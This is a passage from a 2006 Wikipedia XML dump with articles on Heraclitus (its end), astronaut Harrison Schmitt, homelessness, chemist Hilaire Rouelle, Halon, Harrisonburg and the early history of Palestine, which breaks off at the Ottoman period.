The idea of the ''[[logos]]'' is also credited to him, as he proclaims that everything originates out of the ''logos''. Further, Heraclitus said 
&lt;blockquote&gt;&quot;I am as I am not,&quot; &lt;/blockquote&gt;
and 
&lt;blockquote&gt;&quot;He who hears not me but the ''logos'' will say: All is one.&quot;&lt;/blockquote&gt;
Heraclitus held that an explanation of change was foundational to any theory of nature. This view was strongly opposed by [[Parmenides]], who argued that change is an illusion and that everything is fundamentally static.
[[Image:Hendrik ter Brugghen - Heraclitus.jpg|left|200px|thumb|by [[Hendrik ter Brugghen]]]]
He appears to have taught by means of small, oracular [[aphorism]]s meant to encourage thinking based on natural law and reason. The brevity and elliptical logic of his aphorisms earned Heraclitus the epithet 'Obscure'.  The technique, as well as the teaching, is [[Wiktionary:redolent|redolent]] of [[Zen Buddhism]]'s [[koan]]s.

Moreover, the Heraclitean emphasis on the nature of things and existence as one of constant change, expressed with language of polarity, is particularly reminiscent of another ancient philosophical tradition, that of [[Taoism]]: the ''[[Tao]]'' (or &quot;the Way&quot;) often refers to a space-time sequence, and is similarly expressed with seemingly-contradictory language (e.g., &quot;The Way is like an empty vessel / that may still be drawn from / without ever needing to be filled&quot;).  Indeed, parallels may be drawn between the fundamental concepts of the ''logos'' (as it was understood during Heraclitus's time) and the ''Tao''.

Heraclitus is described as having a melancholy disposition, and is sometimes referred to as the &quot;weeping philosopher,&quot; as opposed to [[Democritus]], who is known as the &quot;laughing philosopher.&quot;

==References==
*Heraclitus, ''Herakleitos and Diogenes'', translated by Guy Davenport, Bolinas: Grey Fox Press,  1979. ISBN 0912516364 (Complete fragments of Heraclitus translated into English)
* Heraclitus, ''Fragments: The Collected Wisdom of Heraclitus'',  translated by Brooks Haxton, forward by [[James Hillman]], (parallel English &amp; Greek), Viking Penguin 2001 ISBN 0-670-89195-9.
*[[Martin Heidegger]] and Eugen Fink, ''Heraclitus Seminar'', translated by Charles H. Seibert (Evanston:  Northwestern University Press, 1993). ISBN 0810110679.  (Transcript of seminar in which two major German philosophers engage in detailed analysis and discussion of Heraclitus texts)

==See also==
*[[Dialectical monism]]
*[[Pantheism]]
*[[Panentheism]]
*[[Process philosophy]]


== External links ==
{{wikiquote}} 
* [http://www.utm.edu/research/iep/h/heraclit.htm Heraclitus] at the Internet Encyclopedia of Philosophy
* [http://www.wsu.edu/~dee/GREECE/HERAC.HTM Heraclitus] at Washington State University
* [http://www.thebigview.com/greeks/heraclitus.html The Flux and Fire Philosophy of Heraclitus]
* [http://philoctetes.free.fr/heraclitus.htm Fragments of Heraclitus]
* [http://plato.evansville.edu/public/burnet/ch3a.htm John Burnet ''Early Greek Philosophy:'' brief analysis; the fragments]
* [http://www.cheniere.org/books/aids/appendixIII.htm Tom Bearden ''Fourth Law of Logic''] an approach to Heraclitus's change paradox

{{Presocratics}}

[[Category:535 BC births]]
[[Category:475 BC deaths]]
[[Category:Ancient Greek philosophers]]
[[Category:Presocratic philosophers]]

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[[zh:赫拉克利特]]</text>
    </revision>
  </page>
  <page>
    <title>Harrison Schmitt</title>
    <id>13793</id>
    <revision>
      <id>42030513</id>
      <timestamp>2006-03-03T09:06:12Z</timestamp>
      <contributor>
        <username>Bradcooper</username>
        <id>1010416</id>
      </contributor>
      <text xml:space="preserve">[[Image:GPN-2000-001151.jpg|thumb|250px|Harrison &quot;Jack&quot; Schmitt (left) poses with [[Gene Cernan]] (seated) and [[Ronald Evans]] (right)]]
Dr. '''Harrison Hagan &quot;Jack&quot; Schmitt''' (born [[July 3]], [[1935]]) is a [[geologist]], [[astronaut]] and former [[senate|senator]]. He was the [[List of lunar astronauts|twelfth man to walk on the]] [[Moon]].

==Early life and education==
Born in [[Santa Rita, New Mexico]], Schmitt grew up in nearby [[Silver City, New Mexico|Silver City]]. He received a [[Bachelor of Science]] degree in [[science]] from the [[California Institute of Technology]] in [[1957]] and then spent a year studying [[geology]] at the [[University of Oslo]] in [[Norway]]. [[Doctor of Philosophy|Doctorate of Philosophy]] in geology from [[Harvard University]] in [[1964]].

==NASA career==
[[Image:The_Earth_seen_from_Apollo_17.jpg|thumb|left|200px|[[The Blue Marble]], a famous photograph of the Earth as seen by the [[Apollo 17]] crew traveling toward the moon, was probably taken by Schmitt.]]
Before joining [[NASA]] as a member of the [[Astronaut Group 4|first group of scientist-astronauts]] in June [[1965]], he worked at the U.S. Geological Survey's Astrogeology Center at [[Flagstaff, Arizona]], developing geological field techniques that would be used by the Apollo crews. Following his selection, Schmitt played a key role in training Apollo crews to be geologic observers when they were in lunar orbit and competent geologic field workers when they were on the lunar surface. After each of the landing missions, he participated in the examination and evaluation of the returned lunar samples and helped the crews with the scientific aspects of their mission reports.
[[Image:schmittonmoon.jpg|thumb|Harrison Schmitt collects lunar specimens during the Apollo 17 mission]]
Because Schmitt was the only geologist in the astronaut corps and, as well, had spent considerable time becoming proficient in the CSM and LM systems, it came as no surprise when, in March [[1970]], he became the first of the scientist-astronauts to receive a crew assignment. He joined [[Richard Gordon]] (Commander) and [[Vance Brand]] (Command Module Pilot) on the backup crew for [[Apollo 15]] and was clearly in line to fly as Lunar Module Pilot on [[Apollo 18]]. After the cancellation of Apollo 18 in September [[1970]], many people expected that he would be assigned to fly on [[Apollo 17]], the last lunar mission. That assignment was announced in August [[1971]]. During the Apollo 17 flight, Schmitt probably took a photograph of the Earth called [[The Blue Marble]], one of the most widely distributed photographic images in existence (NASA officially credits the image to the entire Apollo 17 crew, and Schmitt claims that he personally took the image). After the completion of Apollo 17, Schmitt played an active role in documenting the Apollo geologic results and also took on the task of organizing NASA's Energy Program Office.

==Post-NASA career==
In August [[1975]], Schmitt resigned from NASA to seek election as a [[United States Republican Party|Republican]] to the [[United States Senate]] representing [[New Mexico]]. Schmitt faced two-term Democratic incumbent, [[Joseph Montoya]], whom he defeated 57%-42%. He served one term and, notably, was the ranking Republican member of the [[Science, Technology, and Space Subcommittee]]. He was defeated in a re-election bid in [[1982]] by [[Jeff Bingaman]] and, since then, has kept very busy as a consultant in business, geology, space, and public policy. He was awarded the [[Penrose Medal]] for his efforts in [[geoscience]] in [[1984]].

He currently lives in [[Silver City, New Mexico]], and enjoys spending a portion of his summer at his Northern [[Minnesota]] lake cabin.

==Schmitt in the movies==
Schmitt was portrayed by [[Tom Amandes]] in the 1998 miniseries ''[[From the Earth to the Moon (HBO)|From the Earth to the Moon]]''.

==Schmitt in Pop Culture==
Schmitt was referenced in an episode of [[FOX]]'s animated television show [[King of the Hill]].  In the epidose [[Kahn Souphanousinphone]] fends off romantic interest in his mother by [[Bill Dauterive]] by convincing him that she is dating Schmitt and therefore unavailiable.

==Media==
{{multi-video start}}
{{multi-video item|filename=Ap17 schmitt falls.ogg|title=Schmitt falls|description=Schmitt falls while on a moonwalk during [[Apollo 17]]|format=[[Theora]]}} 
{{multi-video item|filename=Ap17 strolling.ogg|title=Schmitt sings|description=Schmitt sings ''I was strolling on the Moon one day'' during [[Apollo 17]]|format=[[Theora]]}} 
{{multi-video end}}

{{start box}}

{{succession box | before=[[Joseph Montoya]] | title=[[List of United States Senators from New Mexico|Senator from New Mexico]] | years=[[1975]]&amp;ndash;[[1982]] | after=[[Jeff Bingaman]]}}

{{end box}}


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[[Category:Penrose Medal winners|Schmitt, Harrison]]
[[Category:People from New Mexico|Schmitt, Harrison]]
[[Category:People who have walked on the moon|Schmitt, Harrison]]
[[Category:United States Senators from New Mexico|Schmitt, Harrison]]

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  </page>
  <page>
    <title>Homelessness</title>
    <id>13794</id>
    <revision>
      <id>41844347</id>
      <timestamp>2006-03-02T02:43:11Z</timestamp>
      <contributor>
        <username>Viriditas</username>
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      <text xml:space="preserve">{{NPOV}}

[[Image:Homeless_-_American_Flag.jpg|right|thumb|250px|A 'homeless' American.]]
[[Image:Lightmatter homeless walker.jpg|right|thumb|250px|A 'homeless' man pushes a cart down the street.]]
[[Image:P7032101 small2.jpg|right|thumb|250px|A 'homeless' Frenchman.]]
'''Homelessness''' is a situation in which a person does not have a long term place of ongoing residence. This is distinguished from [[nomad]]ic cultures in which that condition is considered normal. The 'problem' of homelessness is most visible in the poor sections of large [[cities]] and [[suburb]]s, though the homeless frequently co-exist less visibly within communities where most residents are not poor.  The term '(of) No Fixed Abode' (NFA) is often used officially as an alternative to 'homeless'.

==Grades of homelessness==
Please note that this list could have many gradients; it is meant to highlight the downward mobility of homelessness.

===Most secure===
Those who always have shelter due to kindness of friends, and receive a government check or limited wages.

===Less secure===
Those who exist only on the kindness of friends with both food and shelter, no government help.

===Less secure, still===
Those who live in unpleasant long term &quot;group shelters&quot;.

===At risk of exposure===
The &quot;Motor Homeless&quot;, sleep in an unheated junk car that is drivable, many will die from exposure. There are also those who choose to live a nomadic lifestyle, and will not necessarily die from exposure.

===Ongoing risk of illness from exposure===
Those who spend at least 30 nights a year in open air winter,or rainy conditions.

===Probable life risk===
Those who have no family, no affluent friends, have no car, no food except donated charity goods.

==Causes==
There are numerous possible causes of homelessness. It is a spectrum, a space occupied by many people, including the mentally ill, the unemployed, travelers, drug addicts, alcoholics, and those who have spiritual reasons (as yogis in India). Some people claim the problem stems from inadequate [[social service]]s such as [[public housing]]. In Ventura County, California, access to public housing currently requires a 4 year wait.
This is typical in many areas. Public housing requires paying 1/3 of all income as rent. A good credit history is also required. The VA only provides housing to chronically sick veterans. A homeless person with no family or generous friends must face sleeping in the open, in a car if they have one, or on commercial property until ejected. Some studies suggest [[rent control]] and other housing regulations foster homelessness by reducing the supply of housing. Social changes, such as the movement to recognize the rights of those considered mentally ill, could lead to increased homelessness, as such people can no longer be involuntarily committed to [[mental hospital]]s.  Such a change occurred in the early 1980s in the United States, where it is now estimated that half of all homeless persons have some form of [[mental illness]].  In some cases, it is not always clear which came first; the homelessness or the mental illness.  According to the [[National Alliance for the Mentally Ill]] (NAMI), there are 50,000 mentally ill homeless people in California alone because of deinstitutionalization between 1957 and 1988 and a lack of adequate local service systems. [http://content.healthaffairs.org/cgi/content/full/hlthaff.w5.212/DC1]

[[Substance abuse]] may be a cause as well — an estimated 50% of America's homeless have substance abuse problems.  Debate exists about whether [[drug use]] is a cause or consequence of homelessness, but it is generally agreed that the prevalence of [[alcoholism]], [[drug addiction]], and [[mental illness]] in the homeless population makes employment difficult to maintain.  Many of these problems could stem from [[sexual abuse]], [[physical abuse]], or some other trauma.  A 2005 study of homeless young people published in the ''[[Journal of Adolescence]]'' found that personal drug use, familial drug use, family conflict, and in some cases family breakdown were contributing factors.  [http://www.sciencedirect.com/science?_ob=ArticleURL&amp;_udi=B6WH0-4G3CN05-1&amp;_coverDate=04%2F30%2F2005&amp;_alid=277279236&amp;_rdoc=1&amp;_orig=search&amp;_qd=1&amp;_cdi=6836&amp;_sort=d&amp;_acct=C000050221&amp;_version=1&amp;_urlVersion=0&amp;_userid=10&amp;md5=cdf479bac371d00c2d9c95253e17d87b]

==  Near-Homeless: Disabled non-abusers have little safety net ==
People who are chronically sick and are neither substance abusers nor mentally impaired, must present themselves to shelters,
or group living homes. Regular apartments in public senior or disabled housing may have waiting lists as long as four years and rents that equal one-third of a person's income.
Millions of disabled persons in the U.S. who receive a check must live with another person or two or risk sleeping in a car.
There is no &quot;per diem&quot; program in America to provide temporary housing. They must pay from a disability check or &quot;sleep in the
rough.&quot; A disabled person with no close relatives or friends risks dying of exposure if they are unable to find a cot in a
shelter. Several advocates have suggested that unused jail cells should be provided free to any citizen, not wanted on an arrest warrant. The key would lock the cell from the inside instead of the outside, of course. &quot;We shelter our criminals but not our unfortuates&quot;, or so the advocates are inclined to say.

==Law enforcement &quot;poor folks&quot; practices frequently trigger homelessness or worse ==

{{cite sources}}

An example: A 40-year-old disabled person who lived in Santa Barbara County, California had a car which she slept in. The car was impounded. The towing bill was $400 with a few days of storage. She spent 4 days on the streets, and was found dead from undetermined causes.
An Orange County Ca. diabetic veteran, had a junk car that ran. He waited 2.5 years for a public housing unit. His car broke down, was impounded for $375 and he was unable to pay rent. He was evicted, dropped out of sight, and is currently presumed deceased by his few friends. Fees and penalties that would be reasonable to most people are life ending traumas to the very poor &amp; sick.

In the [[United Kingdom]], the three leading stated reasons homeless people give for losing their previous accommodation, according to [http://www.odpm.gov.uk/stellent/groups/odpm_homelessness/documents/downloadable/odpm_home_028163.pdf government surveys]are: parents, relatives or friends not being able or willing to provide accommodation; Relationship breakdown; and of assured [[shorthold]] [[tenancy]].

==Demographics==
Single men have traditionally composed the homeless demographic, although in current time, homelessness is affecting more families and couples in areas of the United States. In the 1980s, there was a sharp rise in the number of homeless families in certain cities of the United States (notably [[City of New York|New York]]). Most homeless families consist of an unmarried mother and children.

Many long-term homeless people in the United States served in the [[military]]. The [[U.S. Department of Veterans Affairs]] [http://www1.va.gov/homeless/page.cfm?pg=1 estimates] that more than 200,000 veterans are homeless on any given night.  Physical [[disability|disabilities]] that make work difficult or impossible are also common among homeless people. Many organizations such as the [http://borgenproject.org/ Borgen Project] have criticized U.S. leaders for not doing enough.

==Services==
[[Homeless shelter]]s operated by government, churches, or charities work to provide temporary housing to the homeless.  While some shelters also provide food, others require people to turn to [[food bank]]s and [[soup kitchen]]s for nutrition.  Other services provided by some shelters include [[health clinic]]s, clothing and personal items, [[employment assistance]], [[counseling]] and other [[social services]]. However, there are a number of complaints about the safety and quality of homeless shelters. [[Subsidized housing]] is a more expensive solution that some believe might end the cycle of homelessness.

==Income Opportunities==
Homelessness can often produce a [[vicious circle]].  With no [[phone number]], permanent [[address (geography)|address]], or place to get changed and washed, it can be very hard for the homeless to find or maintain jobs.  Many non-profit organizations such as [[Goodwill Industries]] maintain a mission to &quot;provide skill development and work opportunities to people with barriers to employment&quot;( Goodwill calls &quot;sorting clothes&quot; job training at a cost of $5,600 per trainee.), though most of these organizations are not primarily geared toward homeless individuals.  Many cities also have [[street newspapers]] or [[street magazines]]: publications designed to provide employment opportunity to homeless people or others in need by their sale on the streets of their respective cities.

While some homeless have paying jobs, some must seek other methods to make money.  [[Begging]] or panhandling is one option, but it's increasingly illegal in many cities.  Despite the stereotype, not all homeless people panhandle, and not all panhandlers are homeless. Another option is [[busking]]: performing tricks, playing music, drawing on the sidewalk, or offering some other form of entertainment in exchange for donations. In cities where pharmaceutical companies still collect paid [[blood plasma]], homeless people may generate income through frequent visits to these centers. 

In many cities, people who busk, panhandle, or visibly sleep outdoors are harassed by authorities.  This trend is referred to as the [[criminalization]] of homelessness. It is often motivated by urban development and pushes toward [[gentrification]]. Homeless people have been known to purposely commit crimes in order to be sent to [[jail]] or [[prison]] for food and shelter. In police lingo, this is called &quot;three hots and a cot.&quot; Similarly a homeless person may approach a hospital's emergency department and fake a mental illness in order to receive food and shelter.

==Statistics for developed countries==

The following statistics indicate the approximate average number of homeless people at any one time.  Each country has a different approach to counting homeless people, so comparisons should be made with caution.

:[[European Union]]: 3,000,000 ([[Unicef]] 1998)
:[[United States]]: 750,000 (Unicef 1998)
:[[Canada]]: 200,000 ([[Canadian Broadcasting Corporation|CBC]] News December 1998)
:[[Australia]]: 99,000 ([[ABS]]: [http://www.abs.gov.au/Ausstats/abs@.nsf/0/DDC8DC3787E2D9FCCA256E9E0028F91E?Open Homelessness])

The number of homeless people worldwide has grown steadily in recent years. In some Third World nations such as Brazil, India, Nigeria, and South Africa, homelessness is rampant, with millions of children living and working on the streets. Homelessness has become a problem in the cities of China, Thailand, Indonesia, and the Philippines despite their growing prosperity, mainly due to migrant workers who have trouble finding permanent homes and to rising income inequality between social classes.

===Australia===

Homelessness should not be quantified as being without a house; rather, it defines a state in which a person lacks a secure base to establish secure routines of living.  The Australian Bureau of Statistics breaks this down into 5 groups: [http://www.abs.gov.au]

*&quot;rough sleepers&quot; - people who are living outside
*[[Emergency shelter]]s
*Temporarily residing with friends
*[[Boarding house]]s
*[[Trailer park]] residents

==Situations in specific U.S. cities==
The city of [[San Francisco]], [[California]], due to its mild climate and its social programs that have provided cash payments for homeless individuals, is often considered the homelessness capital of the United States. The city's homeless population has been estimated at 7,000-10,000 people. It is believed that New York, which is 10 times as large in population, has only 5 times as many homeless individuals. On [[May 3]], [[2004]] [http://www.sfgov.org/site/dhs_index.asp?id=13701], San Francisco officially began an attempt to scale back the scope of its homelessness problem by changing its strategy from cash payments to the so-called &quot;[[Care Not Cash]]&quot; plan.

The city of [[Chicago]], [[Illinois]] is also noted for its number of homeless people. Visitors to the city often get a taste of big city reality when they see people begging for change on many corners. Over the years, Chicago has gained a reputation as the city with the most homeless people, rivaling Los Angeles and New York, although no statistical data has backed this up. The reputation stems primarily from the subjective number of beggars found on the streets rather than any sort of objective statistical census data.

In [[Denver]], [[Colorado]], Mayor [[John Hickenlooper]] has made dealing with the issues that underlie homelessness a top priority on his Mayoral agenda, speaking heavily on the issue during his first &quot;State of the City&quot; address in 2003. While Denver's homeless population is much lower than other major cities, the homeless residents have often suffered when without shelter during Denver's infamously cold winters.[http://www.denvergov.org/Homelessness/default.asp]

In [http://www.indygov.org/home.htm] [[Indianapolis]], [[Indiana]], as many as 2,200 people are homeless on any given night, and as many as 15,000 individuals over the course of a year. Indianapolis is notable among cities of similar size for having only faith-based shelters, such as the century-old [http://www.wmm.org]Wheeler Mission. In 2001, Mayor [[Bart Peterson]] endorsed a 10-year [http://www.chipindy.org/pdf/ReaderFormatAll.pdf]Blueprint to End Homelessness and made it one of his administration's top priorities. The plan's main goals are for more affordable housing units, employment opportunities, and support services. The Blueprint not withstanding, Indianapolis has criminalized aspects of homelessness, such as making [[panhandling]] a [[misdemeanor]]; and the [http://www.indygov.org/egov/Council/home.htm]City-County Council has twice (in April, 2002, and August, 2005) denied the zoning necessary to open a new shelter for homeless women.

==See also==
*[[Homelessness in Canada]]
*[[Homelessness in the United States]]
*[[Street child|Street children]]
*[[Homeless World Cup]]

==External links==
 	
*[http://borgenproject.org/Homeless.html Borgen Project] - Quick Stats
*[http://www.sfgate.com/gate/special/pages/2003/homeless/ Chronicle Homeless Special] - SF Gate special report (2003-2005)
*[http://www.cath.org.uk Chester Aid To the Homeless] - Helping homeless people in the UK help themselves
*[http://www.cybartv.org/html/social.htm  SDF- HOMELESS Europe]
*[http://www.homeless.org.uk Homeless Link] - The second tier organisation for frontline homelessness agencies in England and Wales
*[http://www.nationalhomeless.org The National Coalition for the Homeless]- Facts, figures and statistics on homelessness in the US

[[Category:Homelessness|*]]
[[Category:Humanitarian aid]]

[[da:Hjemløs]]
[[de:Obdachlosigkeit]]
[[es:Persona sin hogar]]
[[eo:Senhejmeco]]
[[fr:Sans domicile fixe]]
[[hu:Hajléktalanság]]
[[nl:Dakloze]]
[[ja:ホームレス]]
[[pl:Bezdomność]]
[[ru:Бездомные]]
[[sv:Hemlöshet]]</text>
    </revision>
  </page>
  <page>
    <title>Hilaire Rouelle</title>
    <id>13795</id>
    <revision>
      <id>35323969</id>
      <timestamp>2006-01-15T22:48:49Z</timestamp>
      <contributor>
        <username>Suruena</username>
        <id>140178</id>
      </contributor>
      <minor />
      <comment>&amp;[[ndash]]; for ranges</comment>
      <text xml:space="preserve">'''Hilaire Marin Rouelle''' ([[1718]] &amp;ndash; [[1779]]) was a [[France|French]] [[chemistry|chemist]]. In [[1773]], he discovered [[urea]]. He is known as the cadet to distinguish him from his older brother, [[Guillaume François Rouelle]], who was also a chemist.


{{chemist-stub}}
{{France-bio-stub}}

[[Category:1718 births|Rouell, H.M.]]
[[Category:1779 deaths|Rouell, H.M.]]
[[Category:French chemists|Rouelle, Hilaire]]

[[fr:Hilaire Rouelle]]</text>
    </revision>
  </page>
  <page>
    <title>Halon</title>
    <id>13798</id>
    <revision>
      <id>36740077</id>
      <timestamp>2006-01-26T03:26:53Z</timestamp>
      <contributor>
        <username>Mcpusc</username>
        <id>89995</id>
      </contributor>
      <comment>Added direct links to Halon 1121 and 1301, as they are probably what a searcher is looking for</comment>
      <text xml:space="preserve">*[[Halon 1211]] and [[Halon 1301]] are special-purpose fire extiguishing agents that were banned by the [[Montreal Protocol]].

*[[haloalkane]] The haloalkanes (also known as Halogenoalkanes) are a group of chemical compounds, consisting of alkanes, such as methane or ethane, with one or more halogens linked, such as chlorine or fluorine, making them a type of organic halide.

*[[HALON]] is an instrumental four-piece, hailing from Toledo, Ohio.

{{disambig}}

[[de:Halon]]
[[nl:Halonen]]</text>
    </revision>
  </page>
  <page>
    <title>Harrisonburg</title>
    <id>13800</id>
    <revision>
      <id>15911392</id>
      <timestamp>2004-12-16T02:18:25Z</timestamp>
      <contributor>
        <username>Niteowlneils</username>
        <id>46219</id>
      </contributor>
      <minor />
      <comment>redir-&gt;disamb</comment>
      <text xml:space="preserve">'''Harrisonburg''' is the name of two communities in the United States:
*[[Harrisonburg, Louisiana]]
*[[Harrisonburg, Virginia]]
{{disambig}}</text>
    </revision>
  </page>
  <page>
    <title>History of Palestine</title>
    <id>13801</id>
    <revision>
      <id>41163536</id>
      <timestamp>2006-02-25T13:14:54Z</timestamp>
      <contributor>
        <username>David Kernow</username>
        <id>445578</id>
      </contributor>
      <minor />
      <comment>moved {{limitedgeographicscope}} from talk page</comment>
      <text xml:space="preserve">{{cleanup-date|June 2005}}
{{limitedgeographicscope}}
{{accuracy}}
The '''History of Palestine''' is the account of events in [[Palestine (region)|Palestine]] from ancient times to the present.  For the history of the term &quot;Palestine&quot; and its application in the region, see [[Palestine (region)#Boundaries and Name|Boundaries and name of Palestine region]].

== Prehistoric times==
The [[Mousterian]] [[Neanderthal]]s were the earliest inhabitants of the area known to archaeologists, and have been dated to c. 200,000 [[Common Era|BCE]]. The first anatomically modern humans to live in the area were the [[Kebaran|Kebarans]] (conventionally c. 18,000 - 10,500 BCE, but recent paleoanthropological evidence suggests that [[Kebaran]]s may have arrived as early as 75,000 BCE and shared the region with the [[Neanderthal]]s for millennia before the latter died out). They were followed by the [[Natufian]] culture (c. 10,500 BCE - 8500 BCE), the [[Yarmukian]]s (c. 8500 - 4300 BCE) and the [[Ghassulians]] (carbon dated c. 4300 - 3300 BCE).  (All of these cultures are named after archeological sites, in the absence of any indication of what they called themselves.)

The [[Semitic]] culture followed the Ghassulians. People became [[urbanization|urbanized]] and lived in [[city-state]]s, including [[Jericho]]. The area's location at the center of routes linking three continents made it the meeting place for religious and cultural influences from [[Egypt]], [[Syria]], [[Mesopotamia]], and [[Asia Minor]]. It was also the natural battleground for the great powers of the region and subject to domination by adjacent [[empire]]s, beginning with Egypt in the late [[3rd millennium BCE]].

== [[Canaanite]] and [[Israelite]] Period==
A [[Semitic languages|Semitic]] speaking culture followed the Ghassulian culture. [[Archaeologists]] refer to the culture as [[Canaanite]]. This usage differs from that of the [[Bible]] and related [[literature]] where the term is used in a more narrow sense for one group within the [[culture]]. Some [[historians]] regard it as part of a wave of migration of semitic-speaking peoples out of the [[Arabian Peninsula]], while others suggest that they had been there ever since the original Semitic emigration from [[Africa]].  

[[Image:1759_map_Holy_Land_and_12_Tribes.jpg|thumb|Terra Sancta sive Palæstina. (1759 map)]]
Later, the [[Israelites]] appeared. Archaeologists regard them as an outgrowth of the Canaanite culture. According to the [[Bible]] they were descended from [[Jacob]] whose sons generally had Biblical Canaanite wifes. The Bible describes them as returning following the [[Exodus]] from [[Egypt]], conquering, exterminating, and absorbing the tribes they found there and reclaiming the land it says [[God]] promised them. Successive waves of migration brought other groups onto the scene.  Around [[1200s BC|1200 BCE]] the [[Hittites|Hittite]] empire was conquered by allied tribes from the north. The [[Phoenicians]] (which are a different group than the [[Canaanites]] conquered by the Israelites) were temporarily displaced, but returned when the invading tribes showed no inclination to settle. The [[Egyptians]] called the horde that swept across Asia Minor and the [[Mediterranean Sea]] the [[Sea Peoples]]. The [[Philistines]] (whose traces disappear before the [[5th century BCE]]) are presently considered to have been among them, giving the name [[Philistia]] to the region in which they settled. 

For further discussion on the very early ethnic history of the region, see:
* [[Canaan]]
* [[Israelites]]
* [[Philistines]]
* [[History of ancient Israel and Judah]]

Eventually, the Israelites established the [[Kingdom of Israel]], which later split between a northern Kingdom of Israel and a southern [[Kingdom of Judah]].  In [[722 BCE]], the northern [[Kingdom of Israel|Kingdom of Ephraim]] (commonly referred to as [[Israel]], sometimes as [[Samaria]]) was destroyed by the [[Assyria]]ns, the elite amongst its inhabitants were deported (giving rise to the legend of &quot;the [[Lost Tribes]]&quot;) and replaced by [[settler]]s from elsewhere in the [[Assyrian Empire]].  Many however fled to their southern [[Israelite]] sister kingdom, and many stayed behind; they (mixed with deportees from [[Mesopotamia]]) became the [[Samaritan]]s.  The [[Babylonia]]n Empire under [[Nebuchadnezzar II of Babylon|Nebuchadnezzar]] conquered the (southern) [[Kingdom of Judah]] in [[597 BC|597]]-[[586 BCE]], and deported the middle and upper classes of the Jews to [[Babylonia]] in the [[Babylonian captivity]], where they flourished. Most regard the collapse of the Israelite kingdoms as the beginning of the [[Jewish diaspora]].

== Persian, Hellenistic and Roman periods ==
[[Cyrus the Great|Cyrus II of Persia]] conquered the Babylonian Empire by [[539 BCE]] and incorporated Palestine into the Persian Empire.  Cyrus organized the empire into provincial administrations called [[satrap|satrapies]]. The administrators of these provinces, called ''satraps'', had considerable independence from the emperor. The Persians allowed Jews to return to the regions that the Bablyonians had exiled them from.

The exiled Jews who returned to their traditional home encountered the Jews that had remained, surrounded by non-Jews. One group of note (that exists up until this day) were the [[Samaritans]], who adhered to most features of the Jewish rite and claimed to be descendants of the Assyrian Jews; they were not recognized as Jews by the returning exiles for various reasons (at least some of which seem to be political). The return of the exiles from Babylon reinforced the Jewish population, which gradually became more dominant and expanded significantly.

[[Image:Map-alexander-empire.png|thumb|Map of Alexander's empire (1913 map)]]
In the early [[330s BC|330s BCE]], [[Alexander the Great]] conquered the region, beginning an important period of Hellenestic influence in Palestine.

After Alexander's death in [[323 BCE]], his empire was partitioned, and the competing [[Ptolemaic Empire|Ptolemaic]] and [[Seleucid Empire|Seleucid]] Empires occupied various portions of the eastern Mediterranean, including different parts of Palestine. The Jews were divided between the [[Hellenism|Hellenists]] who supported the adoption of Greek culture, and those who believed in keeping to the traditions of the past, which resulted in the [[Maccabean revolt]] of the [[2nd century BCE]]. 

[[Image:Southeastern Roman Empire.PNG|right|thumb|The Roman province of Palestina]]
Following the [[Ancient Rome|Roman]] conquest in [[63 BCE]], the region that later became known as Palestine - first a client kingdom of the [[Roman Empire]], after year [[6]] CE [[Roman province]] [[Iudaea (Roman province)]], after year 135 province [[Syria Palaestina]] - was in nearly constant revolt (see [[Jewish-Roman Wars]]). A number of events with far-reaching consequences took place, including religious [[schisms]], such as [[Christianity]] branching off of [[Judaism]]. &lt;br&gt;
The [[Great Jewish Revolt]] in [[66]]-[[73]] resulted in the [[destruction of Jerusalem|destruction of the Jewish temple in Jerusalem]] ([[70]]) and the sacking of the entire city by the Roman army led by [[Titus Flavius]] and the estimated death toll of 600,000 to 1,300,000 Jews (see [[Josephus Flavius]]). 

In 135, the crushing of  [[Bar Kokhba's revolt]] by [[Hadrian]] resulted in 580,000 Jews killed (according to [[Cassius Dio]]) and the reestablishment of Jerusalem as the [[Paganism|pagan]] [[polis]] [[Aelia Capitolina]], in which Jews were forbidden to set foot. Hundreds of thousands were taken as [[Slavery|slave]]s throughout the Empire.  The province was renamed [[Syria Palaestina]].

Over several centuries, the Diaspora grew even further. In addition to the large Jewish community in Babylon, large numbers of Jews settled in [[Egypt]], and in other parts of the [[Hellenistic]] world and in the [[Roman Empire]]. 

The frequent conflict contributed to Jewish emigration, both as refugees, through deportation, and by reducing economic opportunities in the region. It also led to many deaths among the Jewish population - deaths in battles with the Romans and others, deaths due to massacres, and deaths due to the famine and disease that so often accompany armed conflict.  However, the Jewish population in the north of Palestine remained large for several centuries.

== Byzantine Period==

Palestine became part of the [[Byzantine Empire]] after the division of the Roman Empire into east and west (a fitful process that was not finalized until 395).  Under Byzantine rule, the region became a center of [[Christianity]], while retaining significant [[Jewish]] and [[Samaritan]] communities (although the Samaritans were greatly reduced following [[Julianus ben Sabar]]'s revolt.)  During a protracted conflict with the Byzantine Empire, the [[Sassanian Empire]] under [[Khosrau II]] briefly wrested control of the region from the Byzantines.  An invasion of Mesopotamia by Byzantine Emperor [[Heraclius]] forced the Sassanians to withdraw.
== Arab Califate Period ==
[[Image:Califate 750.jpg|thumb|The territory of the Caliphate in 750. (1926 map)]]
After 634, Palestine, under the Arabic name ''Filastin'', became part of the newly established Islamic [[Caliphate]], ruled by the &quot;Rightly Guided&quot; caliphs, then the [[Umayyad]]s until they were overthrown by the [[Abbasid|Abbasids]] in 750.  Over the following centuries it acquired a Muslim, Arabic-speaking majority, through conversion, [[language shift]] from Aramaic, and immigration.
[[Image:Medieval_Arab_Palestine.jpg|thumb|left|Palestine as described by the medieval Arab geographers. (19th century map)]]
In the 900s, the [[Fatimid]]s, a self-proclaimed Shia caliphate, took control.  In the next century, [[Seljuk]] Turks invaded large portions of West Asia, including Asia Minor and Palestine. 
== Crusader Period ==
The proximate cause of the [[Crusades]], following 1095, by the Christian European powers was the desire to reconquer the birthland and [[holy land]] of Christianity, which had been lost to the Islamic Arab invasion of the byzantine roman empire in the 7th century.
[[Image:Crusaderstates.jpeg|thumb|100px|Crusader states. (1911 map)]]
The Christian forces established the [[Kingdom of Jerusalem]], which lasted from 1099 until 1291, though [[Saladin]] reconquered the city of Jerusalem in 1187.  
==Mamluk Period ==
The [[Ayyubid]] Sultanate, founded by Saladin, controlled  parts of the region until 1250, when it was defeated by the [[Mamluk Sultanate]] of Egypt. The Mamluk Sultanate ultimately became a vassal state of the [[Ottoman Empire]], in the wake of campaigns waged by [[Selim I]] in the 16th century.
==Ottoman Period==

[[Image:Ottoman empire 1481-1683.jpg|left|thumb|Image:Ottoman empire 1481-1683. (1923 map)]]
